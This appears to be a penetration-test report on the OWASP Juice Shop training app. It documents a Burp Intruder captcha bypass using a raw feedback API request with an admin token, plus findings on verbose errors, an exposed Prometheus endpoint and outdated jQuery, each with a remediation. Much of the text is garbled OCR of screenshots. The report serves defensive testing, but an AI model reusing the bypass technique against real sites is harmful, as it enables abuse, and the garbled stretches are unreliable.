Safari/537.3	36	(WINDOWS NI 10.0; W	1104; X04) Ap	prewebk11/55/.50	, CIKE	Send to Intruder	^9	жı
Content-Type	e: applicatio	on∕json				Send to Repeater	^	ŝR
Origin: http	p://juiceshop	.com:3000				Send to Sequencer		
Accept-Enco	ding gzin c	p.com:3000/ deflate_br				Send to Comparer		
Accept-Lang	uage: pl-PL.c	ol:a=0.9.en-US:a=0.8	.en:a=0.7			Send to Decoder		
Cookie: lan	guage=en; wel	comebannerstatus=d	ismiss; cooki	econsent_status=	=dismiss; toke	Send to Decoder	~ 90	~
eyJ0eXAi0iJ	KV1QiLCJhbGci	OiJSUzI1NiJ9.eyJzdG	F0dXMiOiJzdWN	ljZXNzIiwiZGF0YS	eyJ0eXAi0iJKV1QiLCJhbGci0iJSUzI1NiJ9.eyJzdGF0dXMi0iJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwi			
kbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQi0iIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCI								
kbWluQGp1aW		WOYA + O + T + I C To com Ometh		3MzI1MDUxNmYwNj	LkZjE4YjUwMCIs	Insert Collaborator payload		
kbWluQGp1aW va2VuIjoiIiv ilCl0b3BwU2V	WIDGFZGEXVZZ( VicmVØTioiTiv	uSXAiOiIiLCJwcm9maW	xlSW1hZ2UiOiJ	3MzI1MDUxNmYwNj hc3NldHMvcHVibG BdCI6TiTwMi0+MDB	lkZjE4YjUwMCIs ljL2ltYWdlcy91 tMDTaMiT6NDE6	Insert Collaborator payload Request in browser		
kbWluQGp1aW va2VuIjoiIiv iLCJ0b3RwU2V BdCI6IiIwMi(	WIDGF2dEXV22) VjcmV0IjoiIiv OtMDEtMDIaMil	uSXAiOiIiLCJwcm9maw /iaXNBY3RpdmUiOnRydW 6NDE6NT0u0TA1ICswMD	vlSW1hZ2UiOiJ UsImNyZWF0ZWP owMCIsImRlbGV	3MzI1MDUxNmYwNj hc3NldHMvcHVibG BdCI6IjIwMjQtMDB 0ZWRBdCI6bnVsbH	lkZjE4YjUwMCIs ljL2ltYWdlcy91 EtMDIgMjI6NDE6 DsImlhdCI6MTcv	Insert Collaborator payload Request in browser Engagement tools [Pro version	on only	/]
kbWluQGp1aW va2VuIjoiIiv iLCJ0b3RwU2V BdCI6IjIwMj( XjCooLaTnQe2	VjcmV0IjoiIiv QtMDEtMDIgMj] ZVzd01EepmXyC	LuSXAiOiIILCJwcm9maW /iaXNBY3RpdmUiOnRydW :6NDE6NTQuOTA1ICswMD :v0gnqrcWIkT21yrTG6T	xlSW1hZ2UiOiJ UsImNyZWF0ZWR owMCIsImRlbGV S422JXZoYt4sc	Y3MzI1MDU×NmYwNj hc3NldHM∨cHVibG RBdCI6IjIwMjQtMDI WZWRBdCI6bnVsbH( rnw-9o0fBH_wxxH6)	LkZjE4YjUwMCIs LjL2ltYWdlcy91 EtMDIgMjI6NDE6 ØsImlhdCI6MTcv Vych6taqiMrTz[	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method	on only	/]
kbWluQGp1aW va2VuIjoiIiu iLCJ0b3RwU2V BdCI6IjIwMj0 XjCooLaTnQe2 t3g0o11ef0VF	VjcmV0IjoiIiw QtMDEtMDIgMjJ ZVzd01EepmXyC REN0s30n7A9Hj	LuSXAiOiIILCJwcm9maW /iaXNBY3RpdmUiOnRydW :6NDE6NTQuOTA1ICswMD :vOgnqrcWIkT21yrTG6T .C0Mh2XvBMioE; conti	xlSW1hZ2Ui0iJ UsImNyZWF0ZWR owMCIsImRlbGV S422JXZoYt4sc nueCode=yM5Qw	)3MzI1MDUxNmYwNj hc3NldHMvcHVibG BdCI6IjIwMjQtMDB 0ZWRBdCI6bnVsbH nw-9o0fBH_wxxH6V vvq2lb8VWjxzDB03	LkZjE4YjUwMCIs LjL2ltYWdlcy91 EtMDIgMjI6NDE6 DsImlhdCI6MTcv Vych6taqiMrTzI et5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding	on only	/]
kbWluQGp1aW va2VuIjoiIiv iLCJØb3RwU2V BdCI6IjIvMj( XjCooLaTnQez t3g0o11ef0VF Connection:	WIDGFZGEXV220 VjcmV0IjoiIiw QtMDEtMDIgMjI ZVzd01EepmXyC REN0s30n7A9Hj close	LuSXAiOiIILCJwcm9maW /iaXNBY3RpdmUiOnRydW :6NDE6NTQuOTA1ICswMD :vOgnqrcWIkT21yrTG6T LC0Mh2XvBMioE; conti	xlSW1hZ2UiOiJ UsImNyZWF0ZWF owMCIsImRlbGV S422JXZoYt4sc nueCode=yM5Qw	3MzI1MDUxNmYwNj hc3NldHMvcHVibG  BdCI6IjIwMjQtMD  /0ZWRBdCI6bnVsbH( nw-900fBH_wxxH60 /vq2lb8VWjxzDB03(	LkZjE4YjUwMCIs LjL2ltYWdlcy91 EtMDIgMjI6NDE6 DsImlhdCI6MTcv Vych6taqiMrTzD Et5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding Comit	on only	/]
kbWluQGp1aW va2VuIjoiIi iLCJ0b3RwU2 BdCI6IjIwMj( XjCooLaTnQe; t3g0o11ef0Vf Connection:	VidGr2dEXV22 VjcmVØljoiliw QtMDEtMDIgMji ZVzdØ1EepmXyC RENØs30n7A9Hi close	LuSXAiOIIILCJwcm9maW viaXNBY3RpdmUiOnRydW GONDEGNTQuOTAIICswND vOgnqrcWIkT21yrTGGT LCØMh2XvBMioE; conti	XISWIhZ2UiOiJ UsImNyZWF0ZWF owMCIsImRlbGV S422JXZoYt4sc nueCode=yM5Qw	I3MZI1MDUxNmYwNj hc3NldHMvcHvibG I8dCI6IjIMjQtMDI 02WRBdCI6bnVsbH( nw−900fBH_wxXH6 vq2lb8VWjxzDB03(	LkZjE4YjUwMCIs LjL2ltYWdlcy91 ±HDIgMjI6NDE6 DsImlhdCI6MTcv Vych6taqiMrTzE 2t5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding Copy	ວn only ^ະ	/]
kbWluQGplaW va2VuIjoiIi iLCJ0b3RwU2 BdCIGIjIwMjd XjCooLaTnQei t3g0ollef0Vf Connection: { "UserId":	VicmVØIjoiIiv QtMDEtMDIgMjI ZVzdØ1EepmXyC RENØs30n7A9Hj close	LuSXAiOIIILCJwcm9maW viaXNBY3RpdmUiOnRydW GONEGNTQuOTAIICswHD :vOgnqrcWIkT21yrTGGT LCØMh2XvBMioE; conti	XIBU17CUIII USIMVZWF0ZW owMCISIMRlbGV S422JXZoYt4sc nueCode=yM5Qw	I3MZI1MDUxNmYwNj hc3NldHMvcHvibG BdCI6IjIwMjQtMDI 0ZWRBdCI6bnVsbH( nv−900fBH_wxXH6 vq2lb8VWjxzDB03(	LkZjE4YjUwMCIs LjL2ltYWdlcy91 ±HDIgMjI6NDE(- 0sImlhdCI6MTcv- Vych6taqiMrTzE ±t5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding Copy Copy URL	on only ^អ	/] ;c
kbWluQGplaW va2VuIjoiIi iLCJ0b3RwU2' BdCIGIJIWMjd XjCooLaTnQei t3g0o11ef0Vf Connection: { "UserId": "captchaId	VjcmV0IjoiIiv VjcmV0IjoiIiv QtMDEtMDIgMjJ ZVZd01EepmXyC REN0s30n7A9Hj close 1, d":1,	LuSXAiOIIILCJwcm9maW viaXNBY3RpdmUiOnRydW 6NDEGNTQuOTAIICswHD :vOgnqrcWIKT21yrTGGT LCØMh2XvBMioE; conti	XJBU172U101J USImNyZWF0ZWF owMCISImRlbGV S422JXZoYt4sc nueCode=yM5Qw	I3MZI1MDUxNmYwNj hc3NldHMvcHvibG I8dCIGIjIwNjQtMDI 02WRBdCI6bnVsbH( nw−900fBH_wxXH6 vq2lb8VWjxzDB03(	LkZjE4YjUwMCIs LjL2ltYWdlcy91 ±HDIgMjI6NDE(- 0sImlhdCI6MTcv- Vych6taqiMrTzE ±t5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding Copy Copy URL Copy as curl command (bas	ວn only ^ະ	/]
<pre>kbWluQGp1aW va2VuIjoiIi iLCJ0b3RwU2' BdCI6IjIwMj( XjCooLaTnQe: t3g0o11ef0Vf Connection: { "UserId": "captchaI "captchaI</pre>	<pre>WIGF20EXV221 VjcmV0IjoiIiv QtMDEtMDIgMjI ZV2d01EepmXyC REN0s30n7A9Hj close 1, d":1, :"0",</pre>	LuSXAiOIIILCJwcm9maW viaXNBY3RpdmUiOnRydW GODEGOTQuOTAIICswHD :vOgnqrcWIKT21yrTGGT LCØMh2XvBMioE; conti	XJBU172U101J USImNyZWF0ZWF owMCISImRlbGV S422JXZoYt4sc nueCode=yM5Qw	I3MZI1MDUxNmYwNj hc3NldHMvcHvibG I8dCIGIjIwMjQtMDI 0ZWRBdCI6bnVsbH( nw−900fBH_wxXH6 vq2lb8VWjxzDB03(	LkZjE4YjUwMCIs LjL2ltYWdlcy91 ±HDIgMjI6NDE(- 0sImlhdCI6MTcv Vych6taqiMrTzE ±t5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding Copy Copy URL Copy as curl command (bass Copy to file	ວn only ^ິສ h)	/]
<pre>kbWluQGplaW va2VuIjoili iLCJ0b3RwU2' BdCI6IjIwMj( XjCooLaTnQe; t3g0o11ef0Vf Connection: { "UserId": "captchaId "captchaId"</pre>	VJGP20E2V22 VJGPV0Jjoiliv QtMDEtMDIgMjl ZVZd01EepmXyC REN0s30n7A9Hj close 1, d":1, :"0", :"this is my	LuSXAiOIIILCJwcm9maW viaXNBY3RpdmUiOnRydW GNDEGNTQuOTAIICswHD :vOgnqrcWIkT21yrTGGT LCØMh2XvBMioE; conti	<pre>k)mbl21fulfil vilwihZ2Ui0ij UsImNyZWF0ZWF owMCIsImRlbGV S422JXZoYt4sc nueCode=yM50w e-sh.op)",</pre>	I3MzI1MDUxNmYvNj hc3NldHMvcHVibG BdCI6IjIwMjQtMDU WZWRBdCI6bnVsbHC nw-900fBH_wxxH6U vq2lb8VWjxzDB03d	LkZjE4YjUwMCIs LjL2ltYWdlcy91 tHDIgMjI6NDE(- 0sImlhdCI6MTcv Vych6taqiMrTzE t5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding Copy Copy URL Copy as curl command (bass Copy to file Paste from file	ວn only ^ະ	/]
<pre>kbWluQGplaW va2VuIjoiIi iLCJ0b3RwU2' BdCI6IjIwMj( XjCooLaTnQe; t3gOollef0Vf Connection: { "UserId": "captchaId "captchaI" "rating": }</pre>	<pre>vior 20E 2VE2V22 vjcmV0Ijoiliv vjcmV0EtMDIgMj1 ZV2d01EepmXy0 REN0s30n7A9Hj close 1, d":1, :"0", :"this is my 3</pre>	LuSXAiOIIILCJwcm9maW viaXNBY3RpdmUiOnRydW GNDEGNTQuOTAIICswMD cvOgnqrcWIkT21yrTGGT LC0Mh2XvBMioE; conti	<pre>k)mbl21fdlldlldll xlSWhh22Ui0ij UsImNyZWF0ZWF owMCIsImRlbGV S422JXZoYt4sc nueCode=yM50w e-sh.op)",</pre>	I3MZI1MDU×NmYvNj hc3NldHNvcHVibG BdCI6IjIwMjQtMDi 0ZWRBdCI6bnVsbHt nw−900fBH_wx×H6V vq2lb8VWjxzDB03d	LkZjE4YjUwMCIs LjL21YWdlcy91 HMDIgMjI6NDE6 SoImlhdCI6MTcv Vych6taqiMrTzI St5f4NunpI6Zu1	Insert Collaborator payload Request in browser Engagement tools [Pro version Change request method Change body encoding Copy Copy URL Copy as curl command (bas Copy to file Paste from file Save item	ວn only ^ ິສ h)	/]

## Attacker choose injection point.

Paylo	oad posi	lions	
Config	gure the po	sitions where payloads will be inserted, they can be added into the target as well as the base request.	
0	Target:	http://juiceshop.com:3000	Add §
			Clear §
1 P	OST /api	/Feedbacks/ HTTP/1.1	Auto 6
3 0	ost: ju: ontent-l	ccesnop.com;3000	
4 A	ccept: a	upplication/json, text/plain, */*	Refresh
5 A	uthoriza	tion: Bearer	
e	yJ0eXA10	ijKV1qiLCJhbGci0jJSUzIINiJ9.eyJ2dGF0dXM10iJzdWNjZXNzIiwi2GF0VSSTGeyJpZCIGMSwidXN1cm5hbWUi0iIiLCJ1bWFpbCIGImFkbWlu0GpJaWN1LXNoLm9vI	
1	W1CGFZC: SW1h72U	avcmquuliwikymulatiaimuswalinuoxwatwa (kajtatjuwulisinivouujulia). Galaanii (hina katali	
1	QtMDEtM	IM/16NDE6NTQuOTAIICswMDowMCISInVwZGF0ZWRBdCI6Ij1wM1QtMDE1NDIgM1IGNDE6NTQuOTAIICswMDowMCISInR1bGV0ZWRBdCI6bnVsbH0sInlhdCI6MTcwNDI	
0	MTM3N30.	EbcQOmk5HLq6s75uiVoXjCooLaTnQeZVzd01EepmXyCvOgnqrcWIkT21yrT66TS422JXZoYt4scnw-9o0fBH_wxxH6Wych6taqiMrTzDic0frvQsc3ouWgseBCS1BOmh0	
D	-uASFt3q	JODITETOVRENOSSONTAGHICONHXXVBMICE	
7 0	ser-ager ontent-1	it: MOZILLA/5.0 (WINGOWS NI 10.0; WING4; X04) ApplewedKIT/53/.30 (KMIML, LIKE GECKO) Chrome/120.0.0099./1 Satar1/53/.30 Vpe: anolication/ison	
8 0	rigin: H	ttp://juiceshop.com:3000	
9 R	eferer:	http://juiceshop.com:3000/	
10 A	ccept-Er	icoding: gzip, deflate, br	
12 0	ookie: 1	nguage: pi-rt,pi;q=0.9,en-u5;q=0.0,en;q=0.7 anguage=p: velcomehaner status=dismiss: conkieconsent status=dismiss: taken=	
e	yJ0eXAi(	IJKV101LCJhbGc101JSUZIINIJ9.evJzdGF0dXM101JzdWN1ZXNzIIwi2GF0YSIGevJpZCIGMSwidXN1cm5hbWU101I1LCJ1bWFpbCI6ImFkbWlu0Gp1aWN1LXNoLm9wI	
i	wicGFzc3	ldvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWx	
1	SW1hZ2U:	01)hC3NldHMycHYibGljL2ltYMdlcy9lcGvvYMRzL2RIZMF1bHRBZG1pb15WbmciLC30b3RwU2VjcnV0fjo1IiviaXNBY3RpdmUiOnRydWU5InNyZWF9ZMRBdCI6FjTxM	
]	UTMDETML MTM3N30	igmjibNDEbNiQUDIAILSwMDownLisinVwZGr02WKBdClbijLWMjQTMDETNIgmjibNDEbNiQUDIAILSWMDownCLisinKlbGV02WKBdClbDnYSDH9SimLhDCLDMICWWD EbrODwKSU Ge575iiUVXYCoolaTDaDZVZdHEBenXYC/CMDangerCWLTDTyrTGETS2027X7Vf4serw_BD0fBH_WyXHBWych5FasiMrT3DirdfrvGe	
D	-uASFt30	loollef@VREN@s30n7A9HiC@Nh2xvBHioE: continueCode=VM50wu2L08VWixzDB83et5f4NunnI6ZuInSN9LWd7gPr0VkZm6Ko1KEpn	
13 C	onnectio	n: close	
14			
15 {	"UserId	:1,"Captchald":1,"Captcha" [903] "Comment":"this is my comment (***in@juice-sh.op)","rating":3}	



## As we can see in the picture below, the 201 response code indicates successful captcha bypass.

	2	Intruder atta	ck of http://juic	eshop.co	- 000:3000 m	Temporar	ry attack - Not saved i	to project file	
Results	Positions	Payloads	Resource pool	Setti	ings				
√ Filter:	Showing all iter	ns							
Request ^	Payload		Status code	Error	Timeout	Length	Comment		
þ			401			429			
	-5		401			429			
2	-4		401			429			
3	-3		401			429			
1	-2		401			429			
5	-1		201			605			
5	0		401			429			
r	1		401			429			
8	2		401			429			
9	3		401			429			
10	4		401			429			
11	5		401			429			



NF-4.1 Verbose E	rror Messages
Description:	Verbose error messages refer to detailed error responses generated by a system, application, or website when an unexpected condition or failure occurs. These messages provide an excessive amount of information about the underlying structure, technologies, and potential vulnerabilities of the system, which can aid attackers in crafting targeted exploits.
Tools Used:	Burp Suite
References:	WSTG-ERRH-01 <u>https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-</u> Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling
Remediation	Replace detailed error messages with generic or custom error pages. Avoid displaying stack traces, database details, or other internal information to users.

### Evidence

User go to his profile.

••• • JUNASP Juice Shop × +	
$\leftarrow$ $\rightarrow$ C $\triangle$ Niezabezpieczona juiceshop.com:3000/profile	
← васк 🗕 💆 OWASP Juice Shop	
	User Profile
	Vabc
	File Upload: Wybierz plik file.svg Upload Picture



User change the image to any svg file.

OWASP Juice Shop X +				
$\leftarrow \rightarrow \mathbb{C}$ (A Niezabezpieczona juiceshop.com:3000/profile				
← BackOWASP Juice Shop				
	User	Profile		
	Ulubione		e files 📀	Q Szukaj
	Aplikacje     Biurko     Dokumenty     Obrane rze     kamil     Icloud     iCloud Drive     Udostępniane     Miejsca	☐ file.svg xmlFileExample.xml	file.svg	
	Sieć		SVG document - 395 B Informacje	
	<ul> <li>Czerwony</li> <li>Pomarańcz</li> </ul>	Pokaż opcje	Utworzono	wtorek, 7 marca 2023 o 17:25 Anuluj Otwórz
	mayor			

#### Improper error handling.





### NF-4.2 Sensitive Data Exposure (Prometheus)

Description:	Organization's sensitive information is inadequately protected, potentially leading to unauthorized access and exploitation. This vulnerability encompasses the improper handling, storage, or transmission of confidential data.
Tools Used:	Burp Suite
References:	A3:2017-Sensitive Data Exposure <u>https://owasp.org/www-project-top-</u> ten/2017/A3_2017-Sensitive_Data_Exposure
Remediation	Apply the principle of least privilege by enforcing strict access controls. Only grant access to individuals who require the data for their specific roles and responsibilities.

#### Evidence

Prometheus endpoint is publicly available.

← → C ▲ Niezabezpieczona juiceshop.com.3000/metrics	₫ ☆	*	× 🗆	🏝 ÷
<pre># HELP file_uploads_count Total number of successful file uploads grouped by file type. # TYPE file_uploads_count counter</pre>				
# HELP file_upload_errors Total number of failed file uploads grouped by file type. # TYPE file_upload_errors counter				
# HELP juiceshog_startug_utriton_seconds juiceshop required to perform a certain task during startup UTPE juiceshog_startug_utriton_seconds juiceshop"; 0.84277459 Juiceshog_startug_utriton_seconds(stask="not lidetConfig", 0.02972125 Juiceshog_startug_utriton_seconds(stask="not lidetConfig", 0.02972125 Juiceshog_startug_utriton_seconds(stask="not lidetConfig", 0.02972125 Juiceshog_startug_utriton_seconds(stask="not lidetConfig", 0.02972125 Juiceshog_startug_utriton_seconds(stask="not lidetConfig", 0.0297215 Juiceshog_startug_utriton_seconds(stask="not lidetConfig", 0.029715 Juiceshog_startug_utriton_seconds(stask="not lidetConfig") Juiceshof") J.060774659				
# HELP process_cpu_user_seconds_total Total user CPU time spent in seconds. # TYPE process_cpu_user_seconds_total counter process_cpu_user_second_total(app="juiceshop") 76.340706				
# HELP process_cpu_system_seconds_total Total system CPU time spent in seconds. # TYPE process_cpu_system_seconds_total counter process_cpu_system_seconds_total(app="juiceschop" 49.878125				
# HELP process_cpu_seconds_total Total user and system CPU time spent in seconds. # TYPE process_cpu_seconds_total counter process_cpu_seconds_total counter				
# HEUP process_start_time_seconds Start time of the process since unix epoch in seconds. # TYPE process_start_time_seconds gauge process_start_time_seconds/app="juceshop}" JN24233314				
# HELP process_resident_memory_bytes Resident memory size in bytes. # TYPE process_resident_memory_bytes (appendix support process_resident_memory_bytes(appendix support) 149614592				
# HELP process_virtual_memory_bytes Virtual memory size in bytes. # TYPE process_virtual_memory_bytes gauge process_virtual_memory_bytes(app="juiceshop") 1121439744				
# HELP process_heap_bytes Process heap size in bytes. # TTME process_heap_bytes gauge process_heap_bytes(sape="juicestomp") 184393728				
# HELP process_open_fds Number of open file descriptors. # TYPE process_open_fds gauge process_open_folsqp=*juiceshop*} 31				
# HELP process_max_f68 Maxisum number of open file descriptors. # TYPE process_max_f6 aguates process_max_f63(opp="juiceshop") 1048576				



## NF-5.1 Vulnerable JavaScript libraries

Description:	JavaScript libraries are commonly used to streamline development, but vulnerabilities in these libraries can expose applications to a range of security risks, including cross-site scripting (XSS).
Tools Used:	Burp Suite
References:	A06:2021 – Vulnerable and Outdated Components <u>https://owasp.org/Top10/A06_2021-</u> <u>Vulnerable_and_Outdated_Components/</u>
Remediation	Regularly check for updates and security patches for all JavaScript libraries used in your application. Ensure that you are using the latest versions to benefit from bug fixes and security enhancements.

### Evidence

As we can see in the picture below the application uses outdated JavaScript library: jQuery v2.2.4.

•••	🔔 OWASP Juice Shop	x S cdnjs.cloudflare.com/ajax/libs/ x				
$\leftrightarrow \rightarrow q$	C I https://cdnjs.cloudflare.c	om/ajax/libs/jquery/2.2.4/jquery.min.js		₫ ☆ 🌲	▲ □	<b>a</b> :
<pre>/*! jQuery !function( ("undefine e.call(this,prevd this.eq(0) 0,het)," ().isFunct 0,isFunct 0,isFunct 0,isfunct 0,isfunct 0,isfunct 0,met," ().isfunct 0,met," 0,isfunct 0,met," 0,isfunct 0,met," ().isfunct 0,met," 1,ic,call( 0,met," 0,ic,d,i;rett 0,met," 1,ic,call(this,c</pre>	$\label{eq:constraints} \begin{array}{l} y_0, 2, 2, 4, \\ (c), (b), correct "support modules" (b), (c), (c), (c), (c), (c), (c), (c), (c$	tion [ jump;.org/lienss */ dv) int("=:synobia doul, e.sports" ; function(a,b) fvar ce[], dea.dour ; function(a,b) fvar ce[], dea.dour ; function(b) = synobiase() (= s	<pre>dule.exports=a.document%i(a,  0):function(a)(iff[a,document)throw new Error("]Query requires a window with a docume nt, ecc.slice, fcc.concat.grc.push, hcc.index0f,i=0,j=1.cSFring, kci.inasOmProperty, i=0, m=7.2.4.", microtion(a)(b)(fcurton) to blugperGase)[j), infen; providyperGymery, constructors, elector: "length10, to allocation(a), b)(fcurton) to blugperGase)[j), infen; providyperGymery, constructors, aspectors: "length10, to allocation(a), b)(fcurton) to blugperGase)[j), infen; providyperGymery, constructors, aspectors: "length10, to allocation(a), b)(fcurton) to blugperGase)[j), infen; providyperGymery, constructors, arguments])), first funct an extendem, fn, extend(cupand)[j](cupand</pre>	<pre>tt");return b(a) urn new ay:function(){ context,b).each (on){{return 'g66(j=g,g=argg tertin,a).each fror(a).koop (a)&amp;bo ===11)brack;ret ===11)brack;ret urtion(a,b){u unction(a,b){if cotion(a,b){if cotion(a,b){if cotion(a){var</pre>	<pre>}:b(a)} return :functi ments[h rray(c)? functio rtypeof .turn turn nu ((a[f]); r '[object</pre>	on(a) i]   c: m() a? ill==b? return
1}, K="cned (?:"+L+"*( [\\]]]"+N+ ([^\\]'\"	<pre>cked selected async autorocus ([*^\$[!~]?=)"+L+"*(?:'((?:\\\' ")*) .*)\\])",P=new RegExp([ [*?)"+L+"*\\]"."g").U=new Red</pre>	autoptay controls deter disabled  \. [^\\\\'])*)' \"((?:\\\\. [^\\\ +"+","g"),Q=new RegExp("^"+L+"+ ( Exp(0).V=new RegExp("^"+M+"S").W={	10den 13den 13den 13den 17te 19e 19en 17e3donty 17e1ul1stoper 14:000000000000000000000000000000000000	-",N="\\["+L+"*  (() / RegExp("="+L+' JDO:new	"+M+") '*	
RegExp("^ RegExp("^ {\s*\[nat]	+0),CHILD:new RegExp("^:(onl) (?:"+K+")\$","i"),needsContext ive \w/,\$=/^(?:#([\w-]+) (\w+	/ first last nth nth-last)-(child  :new RegExp("^"+L+"*[>+~] :(even c ) \.([\w-]+))\$/,_=/[+~]/,aa=/' \\/	f=type]{?:\\("=L="setwonload]((f=1)[\(\de)n])"4_="s(?:(f=1)]"4_="s(\de), f))"4_="s(\de))]'1=L="s(\de)] d[eq]gt][t]nth[first]Last)(?:\("=L="s(?:-\d)?\\ds"+L="s(\d)])(?=[^][\$)","1"),X=/^?:input]setet]textarea butt ba=mew RegRep("\\\\(\\de)-fl_1,0]"+L="?[("=L=")].'input],ca="[unt]cudo,b,c]{va="set=sd=vd=b=558;return d]==d][rb]	on)\$/i,Y=/^h\d\$/ >d?	i,Z=/^[	^{]+\
String.fro	omCharCode(d+65536):String.fro a.I.call(b))}:function(a.b){va	omCharCode(d>>10[55296,1023&d[5632 ar c=a.length.d=0;while(a[c++]=b[d	)},da=function(){m()};try(H.appiy(t=1.cal((v.chidNodes),v.chidNodes),E(v.chidNodes.length).nodeType)catch(ea){H + ]):a.lendth=c=13}function fa(a.b.d.g.l}var f.h.ik.l.o.r.s.w=BoSob.ownerDocument.x=b7b.nodeTynes?iif(d=d1[l."stri	apply:E.length: "!=typeof	functio	n(a,b)



## **Additional Scans and Reports**

NESMATE provides all clients with all report information gathered during testing. This includes Nessus files and full vulnerability scans in detailed formats. These reports contain raw vulnerability scans and additional vulnerabilities not exploited by NESMATE.

The reports identify hygiene issues needing attention but are less likely to lead to a breach, i.e. defense-in-depth opportunities. For more information, please see the documents in your shared drive folder labeled "Additional Scans and Reports".



# Last Page